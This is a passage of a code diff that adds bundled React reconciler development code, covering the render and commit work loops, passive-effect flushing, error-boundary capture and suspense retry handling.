+          var node = finishedWork;
+          while (true) {
+            if (node.flags & StoreConsistency) {
+              var updateQueue = node.updateQueue;
+              if (updateQueue !== null) {
+                var checks = updateQueue.stores;
+                if (checks !== null) {
+                  for (var i2 = 0; i2 < checks.length; i2++) {
+                    var check = checks[i2];
+                    var getSnapshot = check.getSnapshot;
+                    var renderedValue = check.value;
+                    try {
+                      if (!objectIs(getSnapshot(), renderedValue)) {
+                        return false;
+                      }
+                    } catch (error2) {
+                      return false;
+                    }
+                  }
+                }
+              }
+            }
+            var child = node.child;
+            if (node.subtreeFlags & StoreConsistency && child !== null) {
+              child.return = node;
+              node = child;
+              continue;
+            }
+            if (node === finishedWork) {
+              return true;
+            }
+            while (node.sibling === null) {
+              if (node.return === null || node.return === finishedWork) {
+                return true;
+              }
+              node = node.return;
+            }
+            node.sibling.return = node.return;
+            node = node.sibling;
+          }
+          return true;
+        }
+        function markRootSuspended$1(root2, suspendedLanes) {
+          suspendedLanes = removeLanes(suspendedLanes, workInProgressRootPingedLanes);
+          suspendedLanes = removeLanes(suspendedLanes, workInProgressRootInterleavedUpdatedLanes);
+          markRootSuspended(root2, suspendedLanes);
+        }
+        function performSyncWorkOnRoot(root2) {
+          {
+            syncNestedUpdateFlag();
+          }
+          if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
+            throw new Error("Should not already be working.");
+          }
+          flushPassiveEffects();
+          var lanes = getNextLanes(root2, NoLanes);
+          if (!includesSomeLane(lanes, SyncLane)) {
+            ensureRootIsScheduled(root2, now());
+            return null;
+          }
+          var exitStatus = renderRootSync(root2, lanes);
+          if (root2.tag !== LegacyRoot && exitStatus === RootErrored) {
+            var errorRetryLanes = getLanesToRetrySynchronouslyOnError(root2);
+            if (errorRetryLanes !== NoLanes) {
+              lanes = errorRetryLanes;
+              exitStatus = recoverFromConcurrentError(root2, errorRetryLanes);
+            }
+          }
+          if (exitStatus === RootFatalErrored) {
+            var fatalError = workInProgressRootFatalError;
+            prepareFreshStack(root2, NoLanes);
+            markRootSuspended$1(root2, lanes);
+            ensureRootIsScheduled(root2, now());
+            throw fatalError;
+          }
+          if (exitStatus === RootDidNotComplete) {
+            throw new Error("Root did not complete. This is a bug in React.");
+          }
+          var finishedWork = root2.current.alternate;
+          root2.finishedWork = finishedWork;
+          root2.finishedLanes = lanes;
+          commitRoot(root2, workInProgressRootRecoverableErrors, workInProgressTransitions);
+          ensureRootIsScheduled(root2, now());
+          return null;
+        }
+        function flushRoot(root2, lanes) {
+          if (lanes !== NoLanes) {
+            markRootEntangled(root2, mergeLanes(lanes, SyncLane));
+            ensureRootIsScheduled(root2, now());
+            if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
+              resetRenderTimer();
+              flushSyncCallbacks();
+            }
+          }
+        }
+        function batchedUpdates$1(fn, a2) {
+          var prevExecutionContext = executionContext;
+          executionContext |= BatchedContext;
+          try {
+            return fn(a2);
+          } finally {
+            executionContext = prevExecutionContext;
+            if (executionContext === NoContext && !ReactCurrentActQueue$1.isBatchingLegacy) {
+              resetRenderTimer();
+              flushSyncCallbacksOnlyInLegacyMode();
+            }
+          }
+        }
+        function discreteUpdates(fn, a2, b2, c2, d2) {
+          var previousPriority = getCurrentUpdatePriority();
+          var prevTransition = ReactCurrentBatchConfig$3.transition;
+          try {
+            ReactCurrentBatchConfig$3.transition = null;
+            setCurrentUpdatePriority(DiscreteEventPriority);
+            return fn(a2, b2, c2, d2);
+          } finally {
+            setCurrentUpdatePriority(previousPriority);
+            ReactCurrentBatchConfig$3.transition = prevTransition;
+            if (executionContext === NoContext) {
+              resetRenderTimer();
+            }
+          }
+        }
+        function flushSync(fn) {
+          if (rootWithPendingPassiveEffects !== null && rootWithPendingPassiveEffects.tag === LegacyRoot && (executionContext & (RenderContext | CommitContext)) === NoContext) {
+            flushPassiveEffects();
+          }
+          var prevExecutionContext = executionContext;
+          executionContext |= BatchedContext;
+          var prevTransition = ReactCurrentBatchConfig$3.transition;
+          var previousPriority = getCurrentUpdatePriority();
+          try {
+            ReactCurrentBatchConfig$3.transition = null;
+            setCurrentUpdatePriority(DiscreteEventPriority);
+            if (fn) {
+              return fn();
+            } else {
+              return void 0;
+            }
+          } finally {
+            setCurrentUpdatePriority(previousPriority);
+            ReactCurrentBatchConfig$3.transition = prevTransition;
+            executionContext = prevExecutionContext;
+            if ((executionContext & (RenderContext | CommitContext)) === NoContext) {
+              flushSyncCallbacks();
+            }
+          }
+        }
+        function isAlreadyRendering() {
+          return (executionContext & (RenderContext | CommitContext)) !== NoContext;
+        }
+        function pushRenderLanes(fiber, lanes) {
+          push(subtreeRenderLanesCursor, subtreeRenderLanes, fiber);
+          subtreeRenderLanes = mergeLanes(subtreeRenderLanes, lanes);
+          workInProgressRootIncludedLanes = mergeLanes(workInProgressRootIncludedLanes, lanes);
+        }
+        function popRenderLanes(fiber) {
+          subtreeRenderLanes = subtreeRenderLanesCursor.current;
+          pop(subtreeRenderLanesCursor, fiber);
+        }
+        function prepareFreshStack(root2, lanes) {
+          root2.finishedWork = null;
+          root2.finishedLanes = NoLanes;
+          var timeoutHandle = root2.timeoutHandle;
+          if (timeoutHandle !== noTimeout) {
+            root2.timeoutHandle = noTimeout;
+            cancelTimeout(timeoutHandle);
+          }
+          if (workInProgress !== null) {
+            var interruptedWork = workInProgress.return;
+            while (interruptedWork !== null) {
+              var current2 = interruptedWork.alternate;
+              unwindInterruptedWork(current2, interruptedWork);
+              interruptedWork = interruptedWork.return;
+            }
+          }
+          workInProgressRoot = root2;
+          var rootWorkInProgress = createWorkInProgress(root2.current, null);
+          workInProgress = rootWorkInProgress;
+          workInProgressRootRenderLanes = subtreeRenderLanes = workInProgressRootIncludedLanes = lanes;
+          workInProgressRootExitStatus = RootInProgress;
+          workInProgressRootFatalError = null;
+          workInProgressRootSkippedLanes = NoLanes;
+          workInProgressRootInterleavedUpdatedLanes = NoLanes;
+          workInProgressRootPingedLanes = NoLanes;
+          workInProgressRootConcurrentErrors = null;
+          workInProgressRootRecoverableErrors = null;
+          finishQueueingConcurrentUpdates();
+          {
+            ReactStrictModeWarnings.discardPendingWarnings();
+          }
+          return rootWorkInProgress;
+        }
+        function handleError(root2, thrownValue) {
+          do {
+            var erroredWork = workInProgress;
+            try {
+              resetContextDependencies();
+              resetHooksAfterThrow();
+              resetCurrentFiber();
+              ReactCurrentOwner$2.current = null;
+              if (erroredWork === null || erroredWork.return === null) {
+                workInProgressRootExitStatus = RootFatalErrored;
+                workInProgressRootFatalError = thrownValue;
+                workInProgress = null;
+                return;
+              }
+              if (enableProfilerTimer && erroredWork.mode & ProfileMode) {
+                stopProfilerTimerIfRunningAndRecordDelta(erroredWork, true);
+              }
+              if (enableSchedulingProfiler) {
+                markComponentRenderStopped();
+                if (thrownValue !== null && typeof thrownValue === "object" && typeof thrownValue.then === "function") {
+                  var wakeable = thrownValue;
+                  markComponentSuspended(erroredWork, wakeable, workInProgressRootRenderLanes);
+                } else {
+                  markComponentErrored(erroredWork, thrownValue, workInProgressRootRenderLanes);
+                }
+              }
+              throwException(root2, erroredWork.return, erroredWork, thrownValue, workInProgressRootRenderLanes);
+              completeUnitOfWork(erroredWork);
+            } catch (yetAnotherThrownValue) {
+              thrownValue = yetAnotherThrownValue;
+              if (workInProgress === erroredWork && erroredWork !== null) {
+                erroredWork = erroredWork.return;
+                workInProgress = erroredWork;
+              } else {
+                erroredWork = workInProgress;
+              }
+              continue;
+            }
+            return;
+          } while (true);
+        }
+        function pushDispatcher() {
+          var prevDispatcher = ReactCurrentDispatcher$2.current;
+          ReactCurrentDispatcher$2.current = ContextOnlyDispatcher;
+          if (prevDispatcher === null) {
+            return ContextOnlyDispatcher;
+          } else {
+            return prevDispatcher;
+          }
+        }
+        function popDispatcher(prevDispatcher) {
+          ReactCurrentDispatcher$2.current = prevDispatcher;
+        }
+        function markCommitTimeOfFallback() {
+          globalMostRecentFallbackTime = now();
+        }
+        function markSkippedUpdateLanes(lane) {
+          workInProgressRootSkippedLanes = mergeLanes(lane, workInProgressRootSkippedLanes);
+        }
+        function renderDidSuspend() {
+          if (workInProgressRootExitStatus === RootInProgress) {
+            workInProgressRootExitStatus = RootSuspended;
+          }
+        }
+        function renderDidSuspendDelayIfPossible() {
+          if (workInProgressRootExitStatus === RootInProgress || workInProgressRootExitStatus === RootSuspended || workInProgressRootExitStatus === RootErrored) {
+            workInProgressRootExitStatus = RootSuspendedWithDelay;
+          }
+          if (workInProgressRoot !== null && (includesNonIdleWork(workInProgressRootSkippedLanes) || includesNonIdleWork(workInProgressRootInterleavedUpdatedLanes))) {
+            markRootSuspended$1(workInProgressRoot, workInProgressRootRenderLanes);
+          }
+        }
+        function renderDidError(error2) {
+          if (workInProgressRootExitStatus !== RootSuspendedWithDelay) {
+            workInProgressRootExitStatus = RootErrored;
+          }
+          if (workInProgressRootConcurrentErrors === null) {
+            workInProgressRootConcurrentErrors = [error2];
+          } else {
+            workInProgressRootConcurrentErrors.push(error2);
+          }
+        }
+        function renderHasNotSuspendedYet() {
+          return workInProgressRootExitStatus === RootInProgress;
+        }
+        function renderRootSync(root2, lanes) {
+          var prevExecutionContext = executionContext;
+          executionContext |= RenderContext;
+          var prevDispatcher = pushDispatcher();
+          if (workInProgressRoot !== root2 || workInProgressRootRenderLanes !== lanes) {
+            {
+              if (isDevToolsPresent) {
+                var memoizedUpdaters = root2.memoizedUpdaters;
+                if (memoizedUpdaters.size > 0) {
+                  restorePendingUpdaters(root2, workInProgressRootRenderLanes);
+                  memoizedUpdaters.clear();
+                }
+                movePendingFibersToMemoized(root2, lanes);
+              }
+            }
+            workInProgressTransitions = getTransitionsForLanes();
+            prepareFreshStack(root2, lanes);
+          }
+          {
+            markRenderStarted(lanes);
+          }
+          do {
+            try {
+              workLoopSync();
+              break;
+            } catch (thrownValue) {
+              handleError(root2, thrownValue);
+            }
+          } while (true);
+          resetContextDependencies();
+          executionContext = prevExecutionContext;
+          popDispatcher(prevDispatcher);
+          if (workInProgress !== null) {
+            throw new Error("Cannot commit an incomplete root. This error is likely caused by a bug in React. Please file an issue.");
+          }
+          {
+            markRenderStopped();
+          }
+          workInProgressRoot = null;
+          workInProgressRootRenderLanes = NoLanes;
+          return workInProgressRootExitStatus;
+        }
+        function workLoopSync() {
+          while (workInProgress !== null) {
+            performUnitOfWork(workInProgress);
+          }
+        }
+        function renderRootConcurrent(root2, lanes) {
+          var prevExecutionContext = executionContext;
+          executionContext |= RenderContext;
+          var prevDispatcher = pushDispatcher();
+          if (workInProgressRoot !== root2 || workInProgressRootRenderLanes !== lanes) {
+            {
+              if (isDevToolsPresent) {
+                var memoizedUpdaters = root2.memoizedUpdaters;
+                if (memoizedUpdaters.size > 0) {
+                  restorePendingUpdaters(root2, workInProgressRootRenderLanes);
+                  memoizedUpdaters.clear();
+                }
+                movePendingFibersToMemoized(root2, lanes);
+              }
+            }
+            workInProgressTransitions = getTransitionsForLanes();
+            resetRenderTimer();
+            prepareFreshStack(root2, lanes);
+          }
+          {
+            markRenderStarted(lanes);
+          }
+          do {
+            try {
+              workLoopConcurrent();
+              break;
+            } catch (thrownValue) {
+              handleError(root2, thrownValue);
+            }
+          } while (true);
+          resetContextDependencies();
+          popDispatcher(prevDispatcher);
+          executionContext = prevExecutionContext;
+          if (workInProgress !== null) {
+            {
+              markRenderYielded();
+            }
+            return RootInProgress;
+          } else {
+            {
+              markRenderStopped();
+            }
+            workInProgressRoot = null;
+            workInProgressRootRenderLanes = NoLanes;
+            return workInProgressRootExitStatus;
+          }
+        }
+        function workLoopConcurrent() {
+          while (workInProgress !== null && !shouldYield()) {
+            performUnitOfWork(workInProgress);
+          }
+        }
+        function performUnitOfWork(unitOfWork) {
+          var current2 = unitOfWork.alternate;
+          setCurrentFiber(unitOfWork);
+          var next;
+          if ((unitOfWork.mode & ProfileMode) !== NoMode) {
+            startProfilerTimer(unitOfWork);
+            next = beginWork$1(current2, unitOfWork, subtreeRenderLanes);
+            stopProfilerTimerIfRunningAndRecordDelta(unitOfWork, true);
+          } else {
+            next = beginWork$1(current2, unitOfWork, subtreeRenderLanes);
+          }
+          resetCurrentFiber();
+          unitOfWork.memoizedProps = unitOfWork.pendingProps;
+          if (next === null) {
+            completeUnitOfWork(unitOfWork);
+          } else {
+            workInProgress = next;
+          }
+          ReactCurrentOwner$2.current = null;
+        }
+        function completeUnitOfWork(unitOfWork) {
+          var completedWork = unitOfWork;
+          do {
+            var current2 = completedWork.alternate;
+            var returnFiber = completedWork.return;
+            if ((completedWork.flags & Incomplete) === NoFlags) {
+              setCurrentFiber(completedWork);
+              var next = void 0;
+              if ((completedWork.mode & ProfileMode) === NoMode) {
+                next = completeWork(current2, completedWork, subtreeRenderLanes);
+              } else {
+                startProfilerTimer(completedWork);
+                next = completeWork(current2, completedWork, subtreeRenderLanes);
+                stopProfilerTimerIfRunningAndRecordDelta(completedWork, false);
+              }
+              resetCurrentFiber();
+              if (next !== null) {
+                workInProgress = next;
+                return;
+              }
+            } else {
+              var _next = unwindWork(current2, completedWork);
+              if (_next !== null) {
+                _next.flags &= HostEffectMask;
+                workInProgress = _next;
+                return;
+              }
+              if ((completedWork.mode & ProfileMode) !== NoMode) {
+                stopProfilerTimerIfRunningAndRecordDelta(completedWork, false);
+                var actualDuration = completedWork.actualDuration;
+                var child = completedWork.child;
+                while (child !== null) {
+                  actualDuration += child.actualDuration;
+                  child = child.sibling;
+                }
+                completedWork.actualDuration = actualDuration;
+              }
+              if (returnFiber !== null) {
+                returnFiber.flags |= Incomplete;
+                returnFiber.subtreeFlags = NoFlags;
+                returnFiber.deletions = null;
+              } else {
+                workInProgressRootExitStatus = RootDidNotComplete;
+                workInProgress = null;
+                return;
+              }
+            }
+            var siblingFiber = completedWork.sibling;
+            if (siblingFiber !== null) {
+              workInProgress = siblingFiber;
+              return;
+            }
+            completedWork = returnFiber;
+            workInProgress = completedWork;
+          } while (completedWork !== null);
+          if (workInProgressRootExitStatus === RootInProgress) {
+            workInProgressRootExitStatus = RootCompleted;
+          }
+        }
+        function commitRoot(root2, recoverableErrors, transitions) {
+          var previousUpdateLanePriority = getCurrentUpdatePriority();
+          var prevTransition = ReactCurrentBatchConfig$3.transition;
+          try {
+            ReactCurrentBatchConfig$3.transition = null;
+            setCurrentUpdatePriority(DiscreteEventPriority);
+            commitRootImpl(root2, recoverableErrors, transitions, previousUpdateLanePriority);
+          } finally {
+            ReactCurrentBatchConfig$3.transition = prevTransition;
+            setCurrentUpdatePriority(previousUpdateLanePriority);
+          }
+          return null;
+        }
+        function commitRootImpl(root2, recoverableErrors, transitions, renderPriorityLevel) {
+          do {
+            flushPassiveEffects();
+          } while (rootWithPendingPassiveEffects !== null);
+          flushRenderPhaseStrictModeWarningsInDEV();
+          if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
+            throw new Error("Should not already be working.");
+          }
+          var finishedWork = root2.finishedWork;
+          var lanes = root2.finishedLanes;
+          {
+            markCommitStarted(lanes);
+          }
+          if (finishedWork === null) {
+            {
+              markCommitStopped();
+            }
+            return null;
+          } else {
+            {
+              if (lanes === NoLanes) {
+                error("root.finishedLanes should not be empty during a commit. This is a bug in React.");
+              }
+            }
+          }
+          root2.finishedWork = null;
+          root2.finishedLanes = NoLanes;
+          if (finishedWork === root2.current) {
+            throw new Error("Cannot commit the same tree as before. This error is likely caused by a bug in React. Please file an issue.");
+          }
+          root2.callbackNode = null;
+          root2.callbackPriority = NoLane;
+          var remainingLanes = mergeLanes(finishedWork.lanes, finishedWork.childLanes);
+          markRootFinished(root2, remainingLanes);
+          if (root2 === workInProgressRoot) {
+            workInProgressRoot = null;
+            workInProgress = null;
+            workInProgressRootRenderLanes = NoLanes;
+          }
+          if ((finishedWork.subtreeFlags & PassiveMask) !== NoFlags || (finishedWork.flags & PassiveMask) !== NoFlags) {
+            if (!rootDoesHavePassiveEffects) {
+              rootDoesHavePassiveEffects = true;
+              pendingPassiveTransitions = transitions;
+              scheduleCallback$1(NormalPriority, function() {
+                flushPassiveEffects();
+                return null;
+              });
+            }
+          }
+          var subtreeHasEffects = (finishedWork.subtreeFlags & (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !== NoFlags;
+          var rootHasEffect = (finishedWork.flags & (BeforeMutationMask | MutationMask | LayoutMask | PassiveMask)) !== NoFlags;
+          if (subtreeHasEffects || rootHasEffect) {
+            var prevTransition = ReactCurrentBatchConfig$3.transition;
+            ReactCurrentBatchConfig$3.transition = null;
+            var previousPriority = getCurrentUpdatePriority();
+            setCurrentUpdatePriority(DiscreteEventPriority);
+            var prevExecutionContext = executionContext;
+            executionContext |= CommitContext;
+            ReactCurrentOwner$2.current = null;
+            var shouldFireAfterActiveInstanceBlur2 = commitBeforeMutationEffects(root2, finishedWork);
+            {
+              recordCommitTime();
+            }
+            commitMutationEffects(root2, finishedWork, lanes);
+            resetAfterCommit(root2.containerInfo);
+            root2.current = finishedWork;
+            {
+              markLayoutEffectsStarted(lanes);
+            }
+            commitLayoutEffects(finishedWork, root2, lanes);
+            {
+              markLayoutEffectsStopped();
+            }
+            requestPaint();
+            executionContext = prevExecutionContext;
+            setCurrentUpdatePriority(previousPriority);
+            ReactCurrentBatchConfig$3.transition = prevTransition;
+          } else {
+            root2.current = finishedWork;
+            {
+              recordCommitTime();
+            }
+          }
+          var rootDidHavePassiveEffects = rootDoesHavePassiveEffects;
+          if (rootDoesHavePassiveEffects) {
+            rootDoesHavePassiveEffects = false;
+            rootWithPendingPassiveEffects = root2;
+            pendingPassiveEffectsLanes = lanes;
+          } else {
+            {
+              nestedPassiveUpdateCount = 0;
+              rootWithPassiveNestedUpdates = null;
+            }
+          }
+          remainingLanes = root2.pendingLanes;
+          if (remainingLanes === NoLanes) {
+            legacyErrorBoundariesThatAlreadyFailed = null;
+          }
+          {
+            if (!rootDidHavePassiveEffects) {
+              commitDoubleInvokeEffectsInDEV(root2.current, false);
+            }
+          }
+          onCommitRoot(finishedWork.stateNode, renderPriorityLevel);
+          {
+            if (isDevToolsPresent) {
+              root2.memoizedUpdaters.clear();
+            }
+          }
+          {
+            onCommitRoot$1();
+          }
+          ensureRootIsScheduled(root2, now());
+          if (recoverableErrors !== null) {
+            var onRecoverableError = root2.onRecoverableError;
+            for (var i2 = 0; i2 < recoverableErrors.length; i2++) {
+              var recoverableError = recoverableErrors[i2];
+              var componentStack = recoverableError.stack;
+              var digest = recoverableError.digest;
+              onRecoverableError(recoverableError.value, {
+                componentStack,
+                digest
+              });
+            }
+          }
+          if (hasUncaughtError) {
+            hasUncaughtError = false;
+            var error$1 = firstUncaughtError;
+            firstUncaughtError = null;
+            throw error$1;
+          }
+          if (includesSomeLane(pendingPassiveEffectsLanes, SyncLane) && root2.tag !== LegacyRoot) {
+            flushPassiveEffects();
+          }
+          remainingLanes = root2.pendingLanes;
+          if (includesSomeLane(remainingLanes, SyncLane)) {
+            {
+              markNestedUpdateScheduled();
+            }
+            if (root2 === rootWithNestedUpdates) {
+              nestedUpdateCount++;
+            } else {
+              nestedUpdateCount = 0;
+              rootWithNestedUpdates = root2;
+            }
+          } else {
+            nestedUpdateCount = 0;
+          }
+          flushSyncCallbacks();
+          {
+            markCommitStopped();
+          }
+          return null;
+        }
+        function flushPassiveEffects() {
+          if (rootWithPendingPassiveEffects !== null) {
+            var renderPriority = lanesToEventPriority(pendingPassiveEffectsLanes);
+            var priority = lowerEventPriority(DefaultEventPriority, renderPriority);
+            var prevTransition = ReactCurrentBatchConfig$3.transition;
+            var previousPriority = getCurrentUpdatePriority();
+            try {
+              ReactCurrentBatchConfig$3.transition = null;
+              setCurrentUpdatePriority(priority);
+              return flushPassiveEffectsImpl();
+            } finally {
+              setCurrentUpdatePriority(previousPriority);
+              ReactCurrentBatchConfig$3.transition = prevTransition;
+            }
+          }
+          return false;
+        }
+        function enqueuePendingPassiveProfilerEffect(fiber) {
+          {
+            pendingPassiveProfilerEffects.push(fiber);
+            if (!rootDoesHavePassiveEffects) {
+              rootDoesHavePassiveEffects = true;
+              scheduleCallback$1(NormalPriority, function() {
+                flushPassiveEffects();
+                return null;
+              });
+            }
+          }
+        }
+        function flushPassiveEffectsImpl() {
+          if (rootWithPendingPassiveEffects === null) {
+            return false;
+          }
+          var transitions = pendingPassiveTransitions;
+          pendingPassiveTransitions = null;
+          var root2 = rootWithPendingPassiveEffects;
+          var lanes = pendingPassiveEffectsLanes;
+          rootWithPendingPassiveEffects = null;
+          pendingPassiveEffectsLanes = NoLanes;
+          if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {
+            throw new Error("Cannot flush passive effects while already rendering.");
+          }
+          {
+            isFlushingPassiveEffects = true;
+            didScheduleUpdateDuringPassiveEffects = false;
+          }
+          {
+            markPassiveEffectsStarted(lanes);
+          }
+          var prevExecutionContext = executionContext;
+          executionContext |= CommitContext;
+          commitPassiveUnmountEffects(root2.current);
+          commitPassiveMountEffects(root2, root2.current, lanes, transitions);
+          {
+            var profilerEffects = pendingPassiveProfilerEffects;
+            pendingPassiveProfilerEffects = [];
+            for (var i2 = 0; i2 < profilerEffects.length; i2++) {
+              var _fiber = profilerEffects[i2];
+              commitPassiveEffectDurations(root2, _fiber);
+            }
+          }
+          {
+            markPassiveEffectsStopped();
+          }
+          {
+            commitDoubleInvokeEffectsInDEV(root2.current, true);
+          }
+          executionContext = prevExecutionContext;
+          flushSyncCallbacks();
+          {
+            if (didScheduleUpdateDuringPassiveEffects) {
+              if (root2 === rootWithPassiveNestedUpdates) {
+                nestedPassiveUpdateCount++;
+              } else {
+                nestedPassiveUpdateCount = 0;
+                rootWithPassiveNestedUpdates = root2;
+              }
+            } else {
+              nestedPassiveUpdateCount = 0;
+            }
+            isFlushingPassiveEffects = false;
+            didScheduleUpdateDuringPassiveEffects = false;
+          }
+          onPostCommitRoot(root2);
+          {
+            var stateNode = root2.current.stateNode;
+            stateNode.effectDuration = 0;
+            stateNode.passiveEffectDuration = 0;
+          }
+          return true;
+        }
+        function isAlreadyFailedLegacyErrorBoundary(instance) {
+          return legacyErrorBoundariesThatAlreadyFailed !== null && legacyErrorBoundariesThatAlreadyFailed.has(instance);
+        }
+        function markLegacyErrorBoundaryAsFailed(instance) {
+          if (legacyErrorBoundariesThatAlreadyFailed === null) {
+            legacyErrorBoundariesThatAlreadyFailed = /* @__PURE__ */ new Set([instance]);
+          } else {
+            legacyErrorBoundariesThatAlreadyFailed.add(instance);
+          }
+        }
+        function prepareToThrowUncaughtError(error2) {
+          if (!hasUncaughtError) {
+            hasUncaughtError = true;
+            firstUncaughtError = error2;
+          }
+        }
+        var onUncaughtError = prepareToThrowUncaughtError;
+        function captureCommitPhaseErrorOnRoot(rootFiber, sourceFiber, error2) {
+          var errorInfo = createCapturedValueAtFiber(error2, sourceFiber);
+          var update = createRootErrorUpdate(rootFiber, errorInfo, SyncLane);
+          var root2 = enqueueUpdate(rootFiber, update, SyncLane);
+          var eventTime = requestEventTime();
+          if (root2 !== null) {
+            markRootUpdated(root2, SyncLane, eventTime);
+            ensureRootIsScheduled(root2, eventTime);
+          }
+        }
+        function captureCommitPhaseError(sourceFiber, nearestMountedAncestor, error$1) {
+          {
+            reportUncaughtErrorInDEV(error$1);
+            setIsRunningInsertionEffect(false);
+          }
+          if (sourceFiber.tag === HostRoot) {
+            captureCommitPhaseErrorOnRoot(sourceFiber, sourceFiber, error$1);
+            return;
+          }
+          var fiber = null;
+          {
+            fiber = nearestMountedAncestor;
+          }
+          while (fiber !== null) {
+            if (fiber.tag === HostRoot) {
+              captureCommitPhaseErrorOnRoot(fiber, sourceFiber, error$1);
+              return;
+            } else if (fiber.tag === ClassComponent) {
+              var ctor = fiber.type;
+              var instance = fiber.stateNode;
+              if (typeof ctor.getDerivedStateFromError === "function" || typeof instance.componentDidCatch === "function" && !isAlreadyFailedLegacyErrorBoundary(instance)) {
+                var errorInfo = createCapturedValueAtFiber(error$1, sourceFiber);
+                var update = createClassErrorUpdate(fiber, errorInfo, SyncLane);
+                var root2 = enqueueUpdate(fiber, update, SyncLane);
+                var eventTime = requestEventTime();
+                if (root2 !== null) {
+                  markRootUpdated(root2, SyncLane, eventTime);
+                  ensureRootIsScheduled(root2, eventTime);
+                }
+                return;
+              }
+            }
+            fiber = fiber.return;
+          }
+          {
+            error("Internal React error: Attempted to capture a commit phase error inside a detached tree. This indicates a bug in React. Likely causes include deleting the same fiber more than once, committing an already-finished tree, or an inconsistent return pointer.\n\nError message:\n\n%s", error$1);
+          }
+        }
+        function pingSuspendedRoot(root2, wakeable, pingedLanes) {
+          var pingCache = root2.pingCache;
+          if (pingCache !== null) {
+            pingCache.delete(wakeable);
+          }
+          var eventTime = requestEventTime();
+          markRootPinged(root2, pingedLanes);
+          warnIfSuspenseResolutionNotWrappedWithActDEV(root2);
+          if (workInProgressRoot === root2 && isSubsetOfLanes(workInProgressRootRenderLanes, pingedLanes)) {
+            if (workInProgressRootExitStatus === RootSuspendedWithDelay || workInProgressRootExitStatus === RootSuspended && includesOnlyRetries(workInProgressRootRenderLanes) && now() - globalMostRecentFallbackTime < FALLBACK_THROTTLE_MS) {
+              prepareFreshStack(root2, NoLanes);
+            } else {
+              workInProgressRootPingedLanes = mergeLanes(workInProgressRootPingedLanes, pingedLanes);
+            }
+          }
+          ensureRootIsScheduled(root2, eventTime);
+        }
+        function retryTimedOutBoundary(boundaryFiber, retryLane) {
+          if (retryLane === NoLane) {
+            retryLane = requestRetryLane(boundaryFiber);
+          }
+          var eventTime = requestEventTime();
+          var root2 = enqueueConcurrentRenderForLane(boundaryFiber, retryLane);
+          if (root2 !== null) {
+            markRootUpdated(root2, retryLane, eventTime);
+            ensureRootIsScheduled(root2, eventTime);
+          }
+        }
+        function retryDehydratedSuspenseBoundary(boundaryFiber) {
+          var suspenseState = boundaryFiber.memoizedState;
+          var retryLane = NoLane;
+          if (suspenseState !== null) {
+            retryLane = suspenseState.retryLane;
+          }
+          retryTimedOutBoundary(boundaryFiber, retryLane);
+        }
+        function resolveRetryWakeable(boundaryFiber, wakeable) {
+          var retryLane = NoLane;
+          var retryCache;
+          switch (boundaryFiber.tag) {
+            case SuspenseComponent:
+              retryCache = boundaryFiber.stateNode;
+              var suspenseState = boundaryFiber.memoizedState;
+              if (suspenseState !== null) {
+                retryLane = suspenseState.retryLane;
+              }
+              break;
+            case SuspenseListComponent:
+              retryCache = boundaryFiber.stateNode;
+              break;
+            default:
+              throw new Error("Pinged unknown suspense boundary type. This is probably a bug in React.");
+          }
+          if (retryCache !== null) {
+            retryCache.delete(wakeable);
+          }
+          retryTimedOutBoundary(boundaryFiber, retryLane);
+        }
+        function jnd(timeElapsed) {
+          return timeElapsed < 120 ? 120 : timeElapsed < 480 ? 480 : timeElapsed < 1080 ? 1080 : timeElapsed < 1920 ? 1920 : timeElapsed < 3e3 ? 3e3 : timeElapsed < 4320 ? 4320 : ceil(timeElapsed / 1960) * 1960;
+        }
+        function checkForNestedUpdates() {
+          if (nestedUpdateCount > NESTED_UPDATE_LIMIT) {
+            nestedUpdateCount = 0;
+            rootWithNestedUpdates = null;
+            throw new Error("Maximum update depth exceeded. This can happen when a component repeatedly calls setState inside componentWillUpdate or componentDidUpdate. React limits the number of nested updates to prevent infinite loops.");
+          }
+          {
+            if (nestedPassiveUpdateCount > NESTED_PASSIVE_UPDATE_LIMIT) {
+              nestedPassiveUpdateCount = 0;
+              rootWithPassiveNestedUpdates = null;
+              error("Maximum update depth exceeded. This can happen when a component calls setState inside useEffect, but useEffect either doesn't have a dependency array, or one of the dependencies changes on every render.");
+            }
+          }
+        }
+        function flushRenderPhaseStrictModeWarningsInDEV() {
+          {
+            ReactStrictModeWarnings.flushLegacyContextWarning();
+            {
+              ReactStrictModeWarnings.flushPendingUnsafeLifecycleWarnings();
+            }
+          }
+        }
+        function commitDoubleInvokeEffectsInDEV(fiber, hasPassiveEffects) {
+          {
+            setCurrentFiber(fiber);
+            invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectUnmountInDEV);
+            if (hasPassiveEffects) {
+              invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectUnmountInDEV);
+            }
+            invokeEffectsInDev(fiber, MountLayoutDev, invokeLayoutEffectMountInDEV);
+            if (hasPassiveEffects) {
+              invokeEffectsInDev(fiber, MountPassiveDev, invokePassiveEffectMountInDEV);
+            }
+            resetCurrentFiber();
+          }
+        }
+        function invokeEffectsInDev(firstChild, fiberFlags, invokeEffectFn) {
+          {
+            var current2 = firstChild;
+            var subtreeRoot = null;
+            while (current2 !== null) {
+              var primarySubtreeFlag = current2.subtreeFlags & fiberFlags;
+              if (current2 !== subtreeRoot && current2.child !== null && primarySubtreeFlag !== NoFlags) {
+                current2 = current2.child;
+              } else {
+                if ((current2.flags & fiberFlags) !== NoFlags) {
+                  invokeEffectFn(current2);
+                }
+                if (current2.sibling !== null) {
+                  current2 = current2.sibling;
+                } else {
+                  current2 = subtreeRoot = current2.return;
+                }
+              }
+            }
+          }
+        }
+        var didWarnStateUpdateForNotYetMountedComponent = null;
+        function warnAboutUpdateOnNotYetMountedFiberInDEV(fiber) {
+          {
+            if ((executionContext & RenderContext) !== NoContext) {
+              return;
+            }
+            if (!(fiber.mode & ConcurrentMode)) {
+              return;
+            }
+            var tag = fiber.tag;
+            if (tag !== IndeterminateComponent && tag !== HostRoot && tag !== ClassComponent && tag !== FunctionComponent && tag !== ForwardRef && tag !== MemoComponent && tag !== SimpleMemoComponent) {
+              return;
+            }
+            var componentName = getComponentNameFromFiber(fiber) || "ReactComponent";
+            if (didWarnStateUpdateForNotYetMountedComponent !== null) {
+              if (didWarnStateUpdateForNotYetMountedComponent.has(componentName)) {
+                return;
+              }
